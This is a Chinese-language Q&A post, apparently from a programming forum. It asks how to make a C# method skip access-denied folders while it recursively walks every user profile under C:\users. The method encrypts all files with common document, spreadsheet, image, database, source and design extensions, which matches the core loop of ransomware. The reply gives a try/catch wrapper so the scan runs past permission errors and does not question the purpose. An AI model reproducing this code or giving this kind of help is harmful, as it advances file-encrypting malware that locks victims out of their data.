2017-05-26 65 views
2

當我掃描的目錄C:\\users\\<SomeUserName>\\* 在某些目錄我沒有訪問我搜索了很多怎麼不理「未經授權的訪問」 現在我需要幫助:/忽略「未經授權的訪問」,「功能Directory.GetDirectories()」

這裏是我的代碼:

public void encryptDirectory(string location, string password) 
{ 
    //extensions to be encrypt 
    var validExtensions = new[] 
    { 
     ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd" 
    }; 
    string[] files = Directory.GetFiles(location); 
    string[] childDirectories = Directory.GetDirectories(location); 
    for (int i = 0; i < files.Length; i++) 
    { 
     string extension = Path.GetExtension(files[i]); 
     if (validExtensions.Contains(extension)) 
     { 
      EncryptFile(files[i], password); 
     } 
    } 
    for (int i = 0; i < childDirectories.Length; i++) 
    { 
     encryptDirectory(childDirectories[i], password); 
    } 
} 

回答

0

如果你想忽略一個特定的方法拋出的異常,寫自己的包裝,搭上你想捕獲的異常,並返回一些有用的默認值:

private static string[] GetFilesSafe(string location) { 
    try { 
     return Directory.GetFiles(location); 
    } catch (UnauthorizedAccessException ex) { 
     Console.Error.WriteLine(ex.Message); 
     return new string[0]; 
    } 
} 

Directory.GetDirectories寫一個類似的包裝,並用包裝調用替換直接調用。這將隱藏訪問問題。

+0

謝謝你很多! – MrLuLz